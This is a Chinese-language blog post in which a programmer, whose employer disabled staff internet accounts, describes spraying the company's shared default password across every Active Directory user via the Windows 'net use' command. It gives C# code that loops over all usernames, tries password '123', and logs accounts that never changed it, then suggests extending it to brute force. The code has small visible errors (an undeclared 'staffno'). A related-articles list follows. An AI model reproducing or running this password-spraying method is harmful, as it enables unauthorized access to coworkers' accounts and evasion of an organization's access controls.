背景

我的职业是程序猿,而所在的工作单位因各种原因,对上网帐号有严格控制,近期竟然把我们的上网帐号全部停用,作为程序猿,不能上网,就如同鱼儿没有水,煮饭没有米,必须想办法解决此问题。公司的局域网环境是AD域环境,上网帐号就是域帐号,公司有上万人,每个帐号在建立时都是统一的初始密码,且很多用户懒得不愿意修改初始密码。因此,稍动脑筋,就有了此破解之道。

原理

Windows中有个net use命令,用于将计算机与共享的资源相连接(建立磁盘映射),或者切断计算机与共享资源的连接(删除磁盘映射),对应的图形界面如下图所示。

net use 命令对应的图形界面

net use命令的格式及详细说明可参考:https://technet.microsoft.com/en-us/library/bb490717.aspx

简单地说,net use命令可以使用指定的用户名和密码,映射网络中的共享位置。

举例:net use \\waaicd2 /user:domain\user001 mypassword,其中domain\user001表示用户名,mypassword表示密码。在命令行窗口执行这条命令后,如果用户名和密码正确,则会提示"命令成功完成。",否则提示“登录失败: 未知的用户名或错误密码。”

想必看到这里,只要有点编程基础的人都在心里呵呵笑了,前面的背景中提到,域帐号初始密码是统一的,因此,我们只需要把域中的所有用户名穷举出来,套上这条命令,就能知道哪些用户没有修改初始密码了。翠花,上代码。

代码

Listusers = GetUserList()

foreach (var user in users)

{

System.Diagnostics.ProcessStartInfo pInfo = new System.Diagnostics.ProcessStartInfo();

pInfo.FileName = "C:\\Windows\\System32\\net.exe";

pInfo.Arguments = "use \\\\计算机名\\共享目录$ /user:domain\\" + staffno + " 123";

pInfo.UseShellExecute = false;

pInfo.RedirectStandardError = true;

pInfo.RedirectStandardOutput = true;

pInfo.CreateNoWindow = true;

System.Diagnostics.Process proc;

proc = System.Diagnostics.Process.Start(pInfo);

StreamReader myStreamReader = proc.StandardOutput;

string myString = myStreamReader.ReadLine();

if (myString != null && myString.Contains("命令成功完成"))

{

WriteResult(staffno);

}

proc.WaitForExit();

proc.Close();

pInfo.Arguments = "use \\\\计算机名\\共享目录$ /delete";

System.Diagnostics.Process.Start(pInfo);

}

结束语

这种方法虽然简单,但也不失为一种解决问题的途径,甚至可以扩展成更牛B的暴力破解。但各位读者不要用此方法去做一些违反职业道德的事哦!

最新文章

  1. Android Studio获取SHA1和MD5方法
  2. Django 1.10 中文文档------3.3.8 会话sessions
  3. Cygwin的安装,卸载,以及安装gdb
  4. Android 开机启动
  5. JAVA基础知识之多线程——控制线程
  6. 【M3】绝对不要以多态方式处理数组
  7. bzoj2071: [POI2004]JAS
  8. 动态规划之插头DP入门
  9. Vasiliy's Multiset
  10. Struts2 JSP中将list,set ,Map传递到Action然后遍历(三十五) - 雲淡風輕 - ITeye技术网站
  11. 算法提高 9-3摩尔斯电码 map
  12. 将 Hexo 个人博客同时部署到 GitHub 和 Coding 上
  13. -lt -gt -ge -le -eq的意义
  14. python五种调试或排错的方法
  15. js jquery数组去重
  16. Asp.Net百度站长工具的主动推送功能
  17. gateway + jwt 网关认证
  18. 3. easyui 修改功能实例
  19. php实现网站四则运算。
  20. 【onethink1.0】HTML模板获取前台和后台当前登录用户名

热门文章

  1. java爬虫入门
  2. phpize命令在安装AMQP插件是报错phpize:Cannot find autoconf. Please check your autoconf installation and the $PHP_AUTOCONF envir的解决方法
  3. bootstrap css排版
  4. Delphi IOS开发环境安装
  5. java-03 变量与运算符
  6. PMBOK项目管理PMI主义\IPMA概述
  7. js和C# 时间日期格式转换
  8. HBase介绍(4)---常用shell命令
  9. requirejs 配制
  10. consul ACL2